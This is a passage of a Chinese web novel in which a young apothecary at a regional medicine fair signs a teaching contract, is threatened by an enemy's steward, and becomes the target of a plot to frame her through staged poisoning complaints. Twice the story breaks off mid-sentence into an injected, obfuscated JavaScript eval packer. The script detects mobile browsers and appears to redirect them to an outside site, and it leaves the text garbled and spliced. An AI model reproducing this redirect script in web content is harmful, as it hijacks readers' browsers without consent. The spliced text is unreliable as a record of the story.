“今日咱们不图卖多少,能识得几个正经药商便是好的。”张东家一边整理药材,一边低声嘱咐药铺的两个伙计,“北瓦子交易会五年一回,江南道有头脸的药商都来了。咱们这样的铺子,能混个脸熟,日后进货出货都方便些。” 许娇娇也点头,认同张东家的话,将最后一瓶金疮药摆正。她心里清楚,张记生药铺在菰城只算中等,跟仁心堂、济世堂那样的大字号比不得。这几日她在鉴评会上露了脸,已惹了些议论,今日更要低调些才好。 辰时三刻,交易会正式开市。 药商们的吆喝声此起彼伏,各摊位前渐渐聚拢了人。仁心堂的摊位在东头最显眼处,几个伙计正热情地向客人介绍着新制的丸药;济世堂的药材堆成小山,掌柜的亲自坐镇,与熟客寒暄;其余州府来的药商,也各显神通,有的摆出稀罕药材吸引眼球,有的降价促销招揽生意。 张东家的摊位前冷冷清清。偶尔有人路过,瞥一眼便走开了——这位置太偏,摊子又小,实在不起眼。 许娇娇也不急,静静守着摊子。她将那些药材又整理了一遍,将有些受潮的柴胡翻出来重新晾晒,又将标签有些模糊的药瓶换上新签。 约莫过了半个时辰,终于有人过来了。 是个四十来岁的中年人,穿着半旧的靛蓝直裰,背着手在各摊位前转悠,看模样像是个走街串巷的药材贩子。他在张东家摊前停下,拿起一支柴胡看了看:“这柴胡……炮制得倒讲究。” 张东家忙道:“客官好眼力,这是用古法炮制的,保其药性。” 中年人又看了看当归、川贝母,点点头:“品相不错。”他目光落在那些成药上,“这些是……” “是铺子里自制的成药。”许娇娇上前,拿起一瓶清热丸,“治风热感冒、咽喉肿痛的。” 中年人接过小瓷瓶,拔开塞子闻了闻,眼中闪过一丝讶异:“这丸药……气味清正,配伍该是讲究的。”他看向许娇娇,“小娘子,这药是你制的?” 许娇娇迟疑了一下,点点头:“是我帮着炮制药材,东家配的方。” 她留了个心眼,没将功劳全揽在自己身上。这几日风头已经够盛,再让人知道这些成药都是她一手炮制,怕是更要惹眼。 中年人将瓷瓶放回,又问了问价钱,最后买了些柴胡、当归,付了钱便走了。 张东家看着那人的背影,低声道:“看模样像是个懂行的。娇杏,你方才不该说是老夫配的方,那清热丸分明是你的方子……” “张伯,”许娇娇轻声打断,“木秀于林,风必摧之。我年纪小,又是个女子,太出风头不是好事。” 张东家愣了愣,随即叹道:“你说得对……是老夫想岔了。”他顿了顿,“只是委屈了你。” “不委屈。”许娇娇摇头,“我来参会,本就是为了长见识、学本事。能得周行老、李真人指点,已是天大的福分。那些虚名,不要也罢。” 正说着,摊前又来了人。 这回是几个山民打扮的汉子,背着竹篓,篓里装着新鲜的草药。为首的是个五十来岁的老汉,皮肤黝黑,手上满是老茧,操着浓重的乡音:“掌柜的,收鲜药不?” 张东家看了看竹篓里的药材——金银花还带着露水,薄荷叶子嫩绿,车前草根上沾着泥土,确是今早新采的。 “老伯要卖什么价?”张东家问。 老汉搓着手,小心翼翼道:“金银花二十文一斤,薄荷十五文,车前草十文……掌柜看可行?” 这价钱比市价低了两成。张东家看了看许娇娇,许娇娇轻轻点头。 “成。”张东家道,“就按老伯说的价。” 老汉大喜,连忙将竹篓里的药材倒出来过秤。许娇娇帮着称重、算钱,最后数了铜钱递过去。老汉接过钱,手有些抖,连声道谢。 “老伯采药不易,该得的。”许娇娇轻声道。 老汉眼眶微红:“姑娘厚道……实不相瞒,俺们前头问了几家,都压价压得厉害。有的说俺们的金银花不够干,有的说薄荷叶子太小……姑娘是头一个不挑刺、不压价的。” 说罢,千恩万谢地走了。 张东家看着他们的背影,叹道:“这些山民确实不易。青牛山离城三十里,山路难走,他们天不亮就得起身采药,再赶进城卖。一趟下来,也就赚个辛苦钱。” 许娇娇默默点头。她想起前世爷爷说的:药材是天地精华,采药人风里来雨里去,最是辛苦。做药材生意的,不能只图利,也得讲良心。 这时,摊前忽然热闹起来。 几个药商模样的人围了过来,指着摊上的药材议论纷纷: “这就是前几日制六味地黄丸加芝麻油的那个小娘子?” “看着年纪真小……听说才十二三岁?” “周行老都夸她炮制得法,李真人也说她有仁心……” “她制的成药呢?我瞧瞧。” 许娇娇心头一紧。这几日她在鉴评会上确实露了脸,可没想到消息传得这样快,连这些不相干的药商都知道了。 张东家忙上前招呼:“诸位客官,想看什么药材?” 一个胖药商拿起一瓶金疮药,拔开塞子闻了闻,点头:“药气纯正,确是上品。”他看向许娇娇,“小娘子,这金疮药的方子,可能卖?” 许娇娇摇头:“这是家传方子,不卖的。” “价钱好商量。”胖药商不死心,“五十两?八十两?” 周围响起一片吸气声。八十两,够在菰城买处小院子了。 许娇娇还是摇头:“对不住,真的不卖。” 胖药商脸上有些挂不住,哼了一声,放下药瓶走了。其余几个药商也陆续散去,临走时还低声议论: “年纪不大,架子倒不小……” “八十两都不卖,真当自己是什么人物了……” 张东家脸色有些难看,低声道:“娇杏,你方才……是不是太直接了?那些人都是江南道有头脸的药商,得罪了他们,怕是不好。” 许娇娇却平静道:“张伯,卖方子不是小事。这些人连药都没试过,只听了个名声就出高价买方,未必是真心想做药救人。若是将方子卖给他们,他们转头抬高价售卖,或是偷工减料,岂不是害人?” 谁知道这些都是什么人,怎么看都不像是要买方子的人,会不会是——水仙姑和有关?看那个胖药商,一直用异样的眼神打量,许娇娇心底泛起一丝惊觉。 张东家一怔,细细一想,确实如此。 这时,一个温和的声音响起:“许姑娘说得对。” 转头看去,竟是仁心堂的赵药师。他不知何时来的,正站在摊前,含笑看着许娇娇。 “赵前辈。”许娇娇忙行礼。 赵药师摆摆手,拿起那瓶金疮药, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222042|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仔细看了看,点头:“药粉细腻,色泽均匀,炮制得法。”他看向许娇娇,“老夫那日说的,许姑娘考虑得如何了?” 许娇娇知道他说的是买方子的事,轻声道:“我还是那句话——方子不卖。但若前辈真觉得这药好,我愿将制法教给仁心堂的药师,只求一事。” “何事?” “这药制成后,定价不可过高,要让寻常百姓也用得起。”许娇娇认真道,“且仁心堂需承诺,绝不偷工减料,绝不虚假宣传。” 赵药师愣了愣,随即抚掌笑道:“好!好一个让寻常百姓也用得起!”他正色道,“许姑娘放心,仁心堂立堂百年,最重的便是仁心二字。这药若真制成,定价必从公道,质量必保上乘。” 他从怀中取出一张契书:“这是老夫拟的契书,许姑娘看看。仁心堂以每瓶成药售价的一成,作为酬谢付给姑娘。姑娘只需每月来堂里指点两日,教药师们制法便可。” 许娇娇接过契书,仔细看了。契书写得清楚明白,条件公道,并无欺瞒之处。她想了想,点头:“我愿签。” 赵药师大喜,当即取出印泥,两人各自按了手印。契书一式两份,各执其一。 “后日行会庆祝,许姑娘定要来。”赵药师收起契书,笑道,“届时仁心堂会当众宣布此事,也算为姑娘正名——这药方不是卖的,是姑娘仁义,愿传授于众。” 许娇娇心中一动。赵药师此举,不仅给了她实惠,更为她挡去了许多是非,这样以来,水仙姑她们再想迫害自己也要掂量一下。还有一点,药方不是卖给他们的,是传授的,那些想买方子的人便也无话可说。 “多谢前辈周全。” 赵药师摆摆手,又看了看摊上的药材,买了几样常用的,这才告辞离去。 张东家直到赵药师走远,才长舒一口气:“娇杏,你方才……真是让老夫捏把汗。”他顿了顿,“不过赵药师这般安排,确实周全。既得了实惠,又不至招人嫉恨。” 许娇娇点头。她将契书仔细收好,心里踏实了许多。有了这份契书,日后每月便有一笔固定进项,开药铺的本钱也能攒得快些。 午时过后,交易会达到高潮。 各摊位前人声鼎沸,讨价还价声不绝于耳。仁心堂、济世堂这样的大字号生意最好,摊前排起了长队。中小药商也各显神通,有的降价促销,有的送些茶饮招揽客人。 张东家的摊位虽偏,可因着药材品相好,价钱公道,也陆陆续续卖出去不少。到申时初,带来的药材已卖了大半。 远远的李真人度步过来,张东家和许娇娇急忙上前见礼。 “不必多礼,”李真人温声道:“明日行会庆祝,你也要来。虽不会当众褒奖于你,可行内几位有分量的前辈都会到场,你混个脸熟,日后行事也方便。 许娇娇诚恳应答。 从茶肆出来,已是黄昏。 夕阳将北瓦子的飞檐染成一片橘红,摊贩们开始收拾,街市上渐渐安静下来。 回到生药铺,张东家和王氏已听说了契书的事。王氏喜道:“每月固定进项,这可是大好事!娇杏,你这回真是给咱们铺子立了大功!” 静尘和静心急忙上前兴高采烈的帮着张罗饭食,张东家特意让王氏多做了两个菜,又开了坛黄酒。许娇娇以茶代酒,敬了张东家和王氏一杯:“这些日子,多谢张伯和伯母照拂。娇杏能有今日,离不开您二位的帮扶。” 张东家含笑道:“说这些做什么……你是好孩子,该有这般造化。”他顿了顿,“只是明日行会庆祝,你切记要低调。行内人多眼杂,小心应对。” “好。” 饭罢,许娇娇她们各自回房,窗外,月亮又圆又亮,清辉洒在青石板地上,像是铺了一层薄霜。 32. 第32章中医药鉴别会(五) 天气好不容易放晴,谁知第二日又了场急雨。 雨是卯时开始下的,起初只是细密的雨丝,到了辰时,忽然瓢泼起来。雨水顺着屋檐哗哗地淌,在青石板路上砸出一个个水泡。北瓦子今日的庆祝宴设在清风楼,楼檐下挂了防雨的油布,伙计们忙着用竹竿将漏雨的地方顶住,可雨水还是溅得大堂里湿漉漉的。 许娇娇和张东家他们一行到时,一楼大堂已经挤满了人。都是这几日参会的药师、郎中,穿着各式各样的衣裳——绫罗绸缎的有,粗布麻衣的也有。空气里混杂着雨水潮气和药膳的香味,闹哄哄的。 “咱们坐那儿。”张东家指了指靠墙的一张桌子,那桌已经坐了几个小药铺的掌柜,认得是张记的东家,点头招呼。 陆续有人进来。仁心堂的赵药师到了,身后跟着两个伙计,捧着几个锦盒;济世堂的关大夫也来了,与几位老郎中拱手寒暄;还有几位州府来的名医,都是白发苍苍的老者,被人簇拥着往主桌请。 辰时三刻,周行老起身说话。 老人家今日穿了身崭新的深青直裰,声音洪亮:“诸位,今日乃医药评鉴会最后一日。这五日来,老夫与李真人、关大夫、孙大夫等几位行老,有幸见识了江南道医药行当的兴盛,见识了诸位同仁的真才实学。敬诸位一杯!” 众人举杯。许娇娇以茶代酒,抿了一口。 宴席开始了。药膳一道道上桌,黄芪炖鸡、当归羊肉、枸杞炖鱼……香气扑鼻。席间渐渐热闹起来,药师、郎中们互相敬酒,议论这几日的比试,谈论药材行情,说起各地医馆的趣事。 许娇娇默默吃着饭菜,耳朵却竖着。她听见邻桌几个老郎中的对话: “仁心堂那批川黄连,品相确实好,炮制也讲究……” “济世堂的关大夫诊脉是真准,前日那个小儿泄泻的病例,他一眼就看出是误用寒凉药伤了脾胃……” “还是赵药师老到,六味地黄丸制得挑不出毛病……” 她听着,心里暗暗点头。这些老前辈个个都有真本事,自己那点制药手艺,在他们眼里怕是小孩子过家家。 正想着,主桌那边传来王太医的声音:“……此次评鉴会,江南道人才济济,实乃医药之福。”他顿了顿,念了几个名字,“仁心堂赵药师、济世堂李大夫、青州刘老先生、扬州陈掌柜……皆为我辈楷模。” 每念到一个,那人便起身拱手,众人举杯相贺。 许娇娇的名字自然不在其中。她心里反倒踏实——这般最好。她一个十二岁的乡下丫头,若真被当众点名,才是麻烦。 这时,李真人忽然开口:“说到年轻后辈,老夫这几日倒见着个不错的苗子。”他顿了顿,“张记铺子那个小娘子,许娇杏,制药颇有天赋。虽年纪尚小,可火候把握精准,心性也沉稳。” 众人的目光齐刷刷看向许娇娇。 许娇娇心头一跳,忙站起身,垂首行礼:“真人过奖了,只是侥幸。” 周行老捻须点头:“确实,那六味地黄丸加芝麻油的法子,用得巧妙。”他看向许娇娇,眼神温和,“小姑娘,好好学,日后必有作为。” 王太医也含笑看了她一眼,点点头,却未多说。 这般勉励两句,便过去了。众人的注意力很快又回到那些成名已久的药师、郎中身上。许娇娇松了口气,重新坐下,手心却已冒了汗。 宴至半酣,气氛愈加热烈。有老郎中当场切磋起医术,争论某个疑难杂症的治法;有药商说起今年药材行情,摇头叹息;还有人说起医馆里的趣事,引得众人哄笑。 许娇娇静静听着,觉得有意思极了。这些才是真正的医药行当——有学问,有经验,有烟火气。她这几日虽在比试中露了点脸,可跟这些浸淫几十年的老前辈比,实在算不得什么。 这时,她察觉到一道目光。 抬眼望去,只见角落里坐着位男子,约莫五十来岁,面容阴鸷,眼神透着一丝不善,那男子正盯着她看,见她望来,微微撂下眼帘,举杯独饮。 许娇娇心中一惊,忙低下头继续吃饭。这男子她前几日并未见过,不知为何今日在此,许娇娇心中打鼓,会是王大官人的人吗? 宴席继续。雨水打在油布上,噼啪作响,反倒衬得屋里格外热闹。 许娇娇正吃着,身旁忽然有人低声道:“小娘子,你就是许娇杏?” 转头一看,是个四十来岁的中年妇人,穿着半旧的藕荷色褙子,面容和善。 “正是。”许娇娇起身行礼。 妇人摆摆手:“坐,坐。我姓吴,在城南开了间小医馆。”她打量着许娇娇,“前日你制那六味地黄丸,我瞧见了。火候把握得不错,难得你这般年纪。” “吴大夫过奖了。” “不是过奖。”吴大夫笑笑,“我像你这般大时,还在药堂里当学徒,整天就知道捣药、晒药,哪懂得什么火候分寸。”她顿了顿,压低声音,“你有天赋,是块好料子。只是这行当里,人心复杂。你年纪小,又是女子,行事要更谨慎些。” 许娇娇心头一暖:“多谢吴大夫提点。” 吴大夫点点头,不再多说。 宴至申时,周行老再次起身。 “诸位,今日还有一事要宣布。”他环视众人,“经行会合议,今年评鉴会前十名已定。稍后张榜公布。另外,行会特设‘杏林新苗’奖三名,奖掖年轻有为的后辈。” 他念了三个名字,都是二十来岁的年轻药师。三人起身,在一片或真诚、或羡慕、或客套的掌声与贺喜声中向周行老及众人行礼。席间气氛被推至一个小小的高潮,随后便自然而然地转入更为松弛的交谈与寒暄。又过了一盏茶的功夫,这场汇聚了江南医药界大半人物的盛会,才在周行老最后的举杯致意中正式宣告结束。 宴席散了。众人陆续离去。外头的雨小了些,天色依旧阴沉。 许娇娇跟着张博士步出清风楼,正要登上旁边的骡车,忽然,一辆规制严整的黑漆平顶马车恰好停稳。车厢两侧的暗金色回纹在日照下流转着沉敛的光泽,靛蓝锦缎车帘被一只骨节分明的手掀起。 只见一人弯腰钻出车帘,挺拔的身子如修竹,一袭石青色云纹杭绸直裰更衬出通身的清贵气度。落地抬眼时,目光恰与阶前的许娇娇撞个正着。 “是他!”许娇娇心头一跳。眼前少年容貌之清俊锐利,身姿之挺括,与元宵夜那混乱仓促的一幕截然不同,宛如换了个人。这份天光下的崭新,让她呼吸微滞。 他眉头几不可察地一动,旋即恢复如常,只嘴角掠起一丝辨不出情绪的弧度:“是你啊。” 声线较旧日更低稳些,语气里那份居高临下的审视却丝毫未变,仿佛早料到此番相遇。 他身后,两名深衣紧袖的年轻随从已无声落地,垂首肃立。下颌线绷得如刀裁一般眼观鼻、鼻观心,如影子般静默,唯有余光如网,悄无声息地笼住周遭一切动静。 拉车的两匹漆黑骏马纹丝不动,鞍辔上每一片铜饰都擦拭得锃亮如镜,映出街市一角纷乱的倒影。 少年对身后的紧绷恍若未觉,或者说早已习惯。他向前略迈半步,石青色的衣摆拂过车辕,目光在许娇娇身上顿了顿,像是掂量一件失而复得、却依旧不甚合宜的旧物。 “野丫头......”他开口,嗓音里透出几分意味不明的凉薄,“倒是巧。” “是很巧。”许娇娇有些意外,随即想起那年元宵夜自己曾揪着他衣领让他背着自己出了人群的事,脸上微热,垂首道:“公子安好。” 他打量着她,眼神依旧倨傲:“听说你在这鉴别会上出了点风头?” “只是侥幸。” “侥幸?”他嗤笑一声,“那日看你救人的样子,可不像是只会侥幸的。” 他顿了顿,“周行老是我世叔,我与他提过你一句,虽说粗野无礼,倒还有几分急智。他这才多看了你两眼。” 许娇娇心头微愠,又有些说不清的道不明的难受。原来周行老对她的那点关照,竟是因着这少年的一句话。 她抬起头,看着少年那张依旧傲慢的脸,轻声道:“那就……多谢公子。” “谢字不必提。本公子行事,无非是图个当下清净,不喜欠人,尤其……”他眼风扫过许娇娇,“不欠萍水相逢的莽撞人情。” 他摆了摆手,袖口一道用金线暗绣的螭纹在日光下一闪。他倏然倾身向前,拉近的距离带来一股清冽的压迫感,声音压得极低,只容她一人听清:“听好。你这点微末本事和运气,在贵人眼里,不够填牙缝的。这潭水,”他目光意有所指地掠过清风楼的匾额,“连你看见的深,都只是它乐意让你看见的。”他顿了顿,语气里那丝刻薄似乎淡了半分,只剩一种复杂的平静,“…匹夫无罪,怀璧其罪。好自为之。” 话音落,他已退后,转身时,目光几不可察地扫过她单薄的肩头和细雨中微湿的额发。他脚步未停,却在登上马车前,对身旁那位始终如影子般的随从极低地、快速地道了两个字:“伞。” 随从微怔,旋即无声领命,并未立刻动作。他已掀帘入内,靛蓝车帘垂落,隔绝视线。马车启动,辘辘驶离。 许娇娇仍站在原地,雨水渐密。方才那名如泥塑般的随从却去而复返,一言不发,将一柄素面青竹伞塞入她手中,旋即转身,快步消失在雨幕里,仿佛从未出现。 许娇娇握着尚带一丝清冽木香的伞柄,愕然抬头,只看见马车远去的轮廓。心里五味杂陈。 “娇杏。” 张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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钱管事仿佛才看见张东家,敷衍地拱了拱手,目光依旧锁在许娇娇身上,那笑容愈发显得皮里阳秋:“不敢当。只是奉我家主人之命,前来见识见识这几日风头正劲的杏林新秀。许小娘子年纪轻轻,便能在如此盛会上脱颖而出,连王太医都青眼有加,真是……后生可畏啊。” 他刻意在“王太医青眼有加”上咬了重音,话锋随即一转,语气里掺进一丝不易察觉的阴冷:“不过,小娘子这医术,听说是在归平县乡下习得的?倒让钱某想起一桩旧闻。归平县那边,前阵子似乎闹出些不大不小的风波,牵连到一座庵堂,还有个会看病的小娘子……啧啧,世事难料,谁曾想,那小娘子竟有如此造化,转眼便在府城盛会上扬名了。” 他边说,边慢悠悠地踱近两步,声音压得更低,仅容面前几人听见:“我家主人常说,这人哪,就像药材,得看根脚,看来历。有些药材,长在山野阴沟里,看着品相不错,可谁知道内里是不是沾了不干净的东西,或者……克损了周遭的气运,才长得那般扎眼?” 他目光如毒蛇信子,在许娇娇骤然苍白的脸上舔过,慢条斯理地继续道:“小娘子你说,是不是这个理?这骤然得了大名,是福是祸,可真说不准。我家主人仁厚,念你年幼,让钱某带句话:风光虽好,可莫要忘了根本。有些地方,不是你能久待的;有些名头,也不是你该得的。早早寻个安稳去处,方是正理。免得……木秀于林,风必摧之。这府城的风,可比乡下山沟里的,厉害得多,也冷得多。” 言罢,他不待许娇娇回应,那虚假的笑容一收,冷冷瞥了一眼张东家,意味深长地道:“张东家是明白人,这药铺经营不易,更需谨言慎行,择人而处,您说是吧?”说罢,一甩袖子,转身便走,那栗色绸衫很快融入街角渐浓的暮色与雨雾中。 张东家脸色铁青,望着钱管事消失的方向,良久才重重吐出一口气,转身对许娇娇低声道:“庆和堂是归平县王兆贵的产业,这钱管事是他心腹,最是阴险刻薄。他今日这番话,明是威胁,暗是敲打,看来王兆贵……已经留意到你了。娇杏,此地不宜久留,我们速回铺子。” 许娇娇立在原地,早春的寒雨飘在脸上,却不及心中泛起的冷意。钱管事的话,句句指向她的来历与旧事,如同一条冰冷的锁链,将她与过往那些险恶纠缠重新绑在一起。方才宴席的余温、那柄青竹伞带来的片刻恍惚,此刻已被这赤裸裸的、来自仇敌爪牙的威胁彻底驱散。 她握紧了拳,指甲深深掐入掌心,用清晰的痛感压下心头的惊悸与翻涌的怒意。抬头时,眼中已是一片沉静的寒霜。她对张东家轻轻点了点头。 “我们走吧!” 雨幕如织,笼罩着华灯初上的菰城。一场盛宴散去,而让许娇娇真正在意的却是这个忽然出现的钱掌柜。 阴魂不散。 许娇娇暗暗咬牙! 33. 第33章 毒计 连着几日的春雨把太湖的水汽都蒸腾起来,湿漉漉地罩着整座城。连空气都黏答答的,吸进肺里带着一股子霉味儿。 归平县往南三十里,水月庵静静卧在半山腰的竹林深处。 庵门紧闭着,门环上积了薄灰。门前石阶缝里钻出几丛野草,嫩生生的,在雨雾里摇着。远处山道上偶尔有樵夫经过,也都是匆匆一瞥便低下头,加快脚步走远了——这庵堂自打水仙姑回来,便透着股说不出的邪气。 已是申时末,天色暗得早。一辆黑漆平顶马车悄无声息地停在了庵后小径的竹林边,拉车的两匹马都被套了嚼子,蹄子上裹了棉布,落地一点声响也没有。 车帘掀开,王大官人王兆贵弯腰钻了出来。 他今日穿了身半旧的栗色绸衫,外罩一件鸦青比甲,打扮得像个寻常富户。四十来岁的年纪,体态微胖,面皮白净,一双眼睛总是半眯着,看人时带着三分笑意,七分算计。 “在这儿候着,莫要声张。”他低声吩咐车夫。 车夫是个精瘦汉子,闻言点头,将马车赶进竹林更深处,隐在暮色里。 王兆贵独自走到庵堂后门,抬手在门板上叩了三下——两轻一重。 门吱呀一声开了条缝,水仙姑的脸露出来。她今日没穿僧袍,只着了件水红色的家常褙子,头发松松绾着,斜插一支银簪。见是王兆贵,脸上立刻堆起笑,眼波流转间尽是媚态。 “冤家,怎的才来。”她压着嗓子,伸手将他拉进门。 后门吱呀一声又关上了,将最后一点天光隔绝在外。 禅房里早已备好酒菜。一张小圆桌上摆着四样精致的菜肴——清蒸鲈鱼、水晶肴肉、香菇菜心、还有一盅炖得奶白的鸽子汤。两副碗筷,一壶温着的黄酒。 水仙姑将王兆贵按在椅上,自己便偎进他怀里,纤手端起酒盅,递到他唇边:“先喝口酒,驱驱寒气。” 王兆贵就着她的手抿了一口,眼睛却盯着她看。烛光下,水仙姑的脸庞依旧娇媚,虽已不似前几年那般鲜嫩,可眼角眉梢那股子风尘里练出来的撩人劲儿,反倒更勾人了。 他伸手揽住她的腰,手掌在她腰际摩挲着,慢悠悠道:“这些时日,想我了没?” “想,怎么不想?”水仙姑顺势靠在他肩上,声音又软又黏,“自打你上回走后,我这心里就空落落的。庵里冷清,夜里连个说话的人都没有……”说着,眼圈竟真的红了。 王兆贵心里受用,面上却不显,只捏了捏她的脸:“少来这套。我还不知道你的心思?无事献殷勤——说吧,又有什么事求我?” 水仙姑被戳破心思,也不恼,反倒坐直身子,正色道:“我今日请你来,确是有事。”她顿了顿,眼中闪过一丝怨毒,“还是那个许娇杏!” 王兆贵眉心一跳,推开她,自顾自倒了杯酒:“又是她。你不是寻得黑老三了么?没成?” “没成!”水仙姑切齿道,“那小贱人机敏得很,我让黑老三带人去堵,她竟提前跑了!后来打听到是去了菰城,投奔什么张记生药铺去了。”她说着,又凑近王兆贵,声音里带上了哭腔,“你是不知道,如今庵里冷清成什么样!自打那扫把星搅和了那档子事,香火断了不说,连附近几个村子的妇人见了我都绕道走!我在归平县这些年攒下的名声,全毁了!” 王兆贵慢慢喝着酒,不说话。 自打上会他将水仙姑从牢里捞出,他心里其实也恼。再怎么说,他也在归平县是个人物,却没想,竟栽在一个黄毛丫头手中。 当初水月庵那桩贩卖人口的生意,是他一手搭的线。南边拐来的孤女童男,从水月庵中转,再往北边那些见不得光的地方送,这些年赚了不少银子。水仙姑虽是个蠢的,可胜在听话,又肯豁出去,用起来顺手。 想起前些日子,他得到了崔使相的嘉奖,他心中正得意,水仙姑又恰好给他送来了消息,让他来水月庵一聚,他也觉得多日不见这骚娘们,有些意动,因此才来庵中私会。没想到竟着了道,要不是他跑得快,险些被这些贱民抓到把柄。 他逃回去后,正在家中召来几个心腹商议,却收到了县衙暗线的暗示,说有人报官,水月庵水仙姑涉嫌阴司。因为是当地的一位秀才着人报的案,官府不得不出面,他情急之下,急忙派人将那些要命的账本、契据转移出来,幸亏及时,不然只怕连自己都要被拖下水。 后来他上下打点,又借着新县令周大人刚上任不熟悉案情的由头,把水仙姑捞了出来,可这口气,他如何咽得下? 只是当时他正好有事,耽搁了几日。水仙姑这蠢货,又坏了他的事。出来后不安生,竟又私自去找黑老三,想对那丫头下手!一个贱民,竟如此机敏,见机不妙,竟溜之大吉,他都没来得及阻拦水仙姑行事。他怕再闹出人命,会很麻烦。 “我早说过,让你安分些。”王兆贵放下酒杯,语气冷淡,“风头还没过,你就这般沉不住气?” 水仙姑见他脸色不好,心里一慌,连忙又贴上去,娇声道:“我这不是恨嘛!你是不知道,那日在山上,那小贱人当着官差的面,是如何羞辱我的!她拿几封信就把王进唬住了,让我颜面扫地……”她说着,眼中真的落下泪来,“我在归平县这么多年,何时受过这等气?你若不肯帮我,我、我真不知该如何是好了!” 她哭得梨花带雨,王兆贵看着,心里那点火气渐渐被另一种情绪替代。这水仙姑虽蠢,可这身段、这风情,确实是他府里那些小妾比不了的。尤其是她那些不知从哪儿学来的本事,总能撩得他欲罢不能。 罢了,没闹出人命就行。 他叹了口气,伸手替她擦泪:“行了,别哭了。我这不是来了么?” 水仙姑见他语气软了,心中一喜,连忙止住哭,抬眼看他:“那你肯帮我了?” “帮你,也得有个帮法。”王兆贵重新将她揽进怀里,手指有一搭没一搭地绕着她的发丝,“那丫头如今在菰城,有张记生药铺护着。张记虽不是什么大字号,可毕竟在菰城经营多年,有些根基。更何况——”他顿了顿,“我听钱掌柜说,那丫头在菰城医药鉴别会上出了点风头,连周行老、李真人都夸了她几句。” 水仙姑脸色一变:“什么?她、她竟有这般本事?” “有没有本事另说。”王兆贵冷笑,“关键是,她如今算是入了那些老家伙的眼。若在这个节骨眼上出事,难免引人怀疑。” “那、那怎么办?”水仙姑急了,“难道就这么放过她?” “放过她?”王兆贵眼中闪过一丝阴鸷,“怎么可能。只是不能再用那些粗笨的法子。”他沉吟片刻,缓缓道,“这丫头既然想在医药行当里出头,咱们就从这上头下手。” 水仙姑眼睛一亮:“你的意思是……” “让她身败名裂。”王兆贵淡淡道,“一个乡下丫头,无根无基,想在菰城立足,靠的是什么?无非是那点医术名声。若是这名声毁了,她还有什么?” 水仙姑连连点头:“正是!可……具体该怎么做?” 王兆贵端起酒杯,慢慢啜了一口,这才道:“我让钱掌柜去查了。那丫头如今住在张记生药铺后院,平日帮着抓药、制药,偶尔也坐堂诊脉。这几日李真人在,不好下手,想要万无一失,就得从李真人走后。你先沉住气,我自有对策。” 他凑近水仙姑耳边,压低声音:“你记不记得,咱们以前对付那些不听话的娘子,用的什么法子?” 水仙姑一怔,随即明白了,眼中闪过兴奋的光:“你是说……下药?” “不是下毒。”王兆贵纠正,“是让她开的药、制的药,吃出问题来。”他顿了顿,声音更低了,“菰城那些大药铺,哪个没遇到过医闹?若是有人吃了她制的药,出了事,闹到铺子前头,你说会怎样?” 水仙姑越听越兴奋:“那自然是名声扫地!说不定还要吃官司!” “正是。”王兆贵点头,“到时候,张记为了自保,必定将她推出去。她一个无依无靠的孤女,拿什么跟人斗?要么吃牢饭,要么……” 王兆贵做了一个手势。 水仙姑看的眼皮一跳,想了想,却又皱眉:“可这法子,得找合适的人去闹。寻常百姓,怕是没这个胆子,也闹不出什么声势。” 王兆贵笑了:“这你就不用操心了。我在菰城经营多年,别的没有,人手还是不缺的。”他眼中闪过一丝得意,“庆和堂在城东那间铺子,掌柜的老赵,是我的人。他手下养着几个‘药托’,专做这种买卖。” “药托?” “就是假装吃药吃出问题,去药铺闹事的人。”王兆贵解释,“这些人是老手,知道怎么闹才能逼药铺就范。寻常小打小闹,赔点钱就了事;若是想彻底毁了一家铺子、一个人,他们也有的是法子。” 水仙姑听得心花怒放,忍不住在他脸上亲了一口:“还是官人厉害!这法子好,既不用咱们露面,又能把那贱人往死里整!” 王兆贵受用地眯起眼,却又提醒道:“不过这事急不得。那丫头刚在鉴别会上出了风头,现在盯着她的人多。咱们得等风头过了,再动手。” “等多久?” “少则三月,多则半年。”王兆贵盘算着,“等她以为平安无事了,放松警惕了,再给她致命一击。” 水仙姑虽然心急,可也知道这事急不来,只得点头:“好,我都听你的。” 两人又说了一会儿话,水仙姑见王兆贵心情不错,便又提起另一桩事:“对了,庵里如今没了进项,我那些体己钱也花得差不多了……你看,咱们以前那生意,还能不能……” “打住。”王兆贵立刻沉了脸,“那生意暂时不能做了。新来的周县令虽然收了我的银子,可这人看着不像前任那么好拿捏。他刚上任,正想做出政绩,咱们若在这个节骨眼上顶风作案,不是往他刀口上撞么?” 水仙姑悻悻道:“那总不能坐吃山空吧?” 王兆贵想了想,从怀里摸出个钱袋,扔在桌上:“这里头有五十两,你先用着。等风头过了,我再想办法。”他顿了顿,又补充道,“不过,你若真想赚银子,我倒有个主意。” “什么主意?” “你这水月庵,位置偏僻,环境清幽。”王兆贵环视禅房,意有所指,“若是用来招待些贵客,倒是个好地方。” 水仙姑先是一愣,随即明白了,脸上浮起一抹红晕,嗔道:“冤家,瞧你说的什么话……” “我说正经的。”王兆贵正色道,“我在府城认识几位老爷,就好这一口——寻个清静地方,找几个年轻 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水仙姑送他到后门,临别时又拉住他袖子,低声道:“那许娇杏的事,你可要快些办。我是一天都等不了了。” “放心。”王兆贵拍拍她的手,“钱掌柜已经在安排了。等时机一到,定叫她好看。” 送走王兆贵,水仙姑独自站在后门边,望着黑沉沉的夜色,脸上慢慢浮起一抹狠毒的笑。 许娇杏,你等着。 我要让你知道,得罪我水仙姑的下场! ...... 菰城东街,庆和堂后院书房。 钱掌柜正对着烛火看一份信笺。信是王大官人下午派人送来的,上头只有寥寥数语,却让他眉头紧锁。 